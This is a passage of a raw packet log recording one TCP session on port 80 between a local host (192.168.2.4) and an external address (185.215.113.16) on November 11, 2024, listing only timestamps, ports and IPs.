Nov 11, 2024 14:32:22.445964098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445964098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445970058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445976019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445981026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446000099 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446002960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446017027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446017981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446023941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446028948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446037054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446068048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446111917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446162939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446168900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446170092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446209908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446218014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446280956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446302891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446309090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446316004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446321011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446332932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446338892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446343899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446351051 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446383953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446417093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446423054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446440935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446458101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446464062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446469069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446470022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446476936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446484089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446482897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446513891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446532965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446538925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446624994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446630955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446643114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446646929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446654081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446681976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446691990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446696997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446702957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446706057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446712017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446742058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446759939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446799040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446845055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446850061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446856976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446888924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446888924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.446896076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446902037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.446937084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.447201014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.447206974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.447221041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.447226048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.447252989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.447271109 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472136021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472142935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472162008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472170115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472181082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472189903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472217083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472255945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472335100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472390890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472397089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472429991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472435951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472445965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472450018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472481012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472496033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472757101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472774029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472779036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472840071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472862005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472868919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472881079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472887039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472913027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472914934 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472918987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472933054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.472939968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472965002 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.472991943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473098040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473105907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473113060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473117113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473123074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473129034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473140955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473145008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473176956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473191977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473201990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473208904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473220110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473226070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473232985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473238945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473243952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473249912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473254919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473258972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473269939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473283052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473304987 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473323107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473330021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473335981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473347902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473355055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473386049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473403931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473485947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473494053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473505974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473514080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473519087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473526955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473534107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473539114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473545074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473547935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473560095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473565102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473566055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473584890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473613024 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473617077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473623991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473629951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473638058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473663092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473675966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473768950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473774910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473787069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473793030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473798990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473817110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473824978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473824978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473834038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473839998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473850012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473870039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473887920 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.473918915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473927021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.473968983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474011898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474025011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474031925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474044085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474051952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474055052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474057913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474086046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474111080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474286079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474304914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474313021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474324942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474330902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474339008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474349976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474355936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474361897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474387884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474391937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474395990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474422932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474428892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474437952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474441051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474467039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474530935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474538088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474544048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474550009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474555016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474560976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474576950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474591017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474615097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474685907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474693060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474704027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474713087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474725962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474731922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474733114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474737883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474755049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474771023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474772930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474778891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474790096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474792004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474797010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474808931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474821091 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474843025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474848986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474850893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474860907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474867105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474890947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474915028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.474947929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474953890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474966049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.474972010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475001097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475020885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475101948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475109100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475121021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475126982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475132942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475153923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475156069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475162029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475173950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475179911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475187063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475197077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475217104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475253105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475259066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475270987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475275993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475281954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475286961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475298882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.475302935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475317001 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.475354910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.477863073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.477880955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.477886915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.477938890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.477952957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.477958918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.477972031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.477977991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.477982998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478004932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478024006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478146076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478163004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478173971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478204966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478218079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478224039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478261948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478286982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478344917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478353024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478364944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478369951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478374958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478399038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478399038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478405952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478413105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478419065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478430033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478449106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478450060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478456020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478498936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478555918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478562117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478568077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478573084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478578091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478598118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478604078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478604078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478610039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478616953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478621960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478630066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478635073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478653908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478676081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478719950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478728056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478739023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478744984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478750944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478754997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478760004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478765965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478774071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478795052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478796005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478804111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478809118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478811026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478854895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478904009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478910923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478924990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478931904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478938103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478944063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478955030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478960037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478965998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.478976011 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.478997946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.479016066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.479020119 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.479022026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.479032040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.479038000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.479048014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.479059935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.479060888 CET	49761	80	192.168.2.4	185.215.113.16
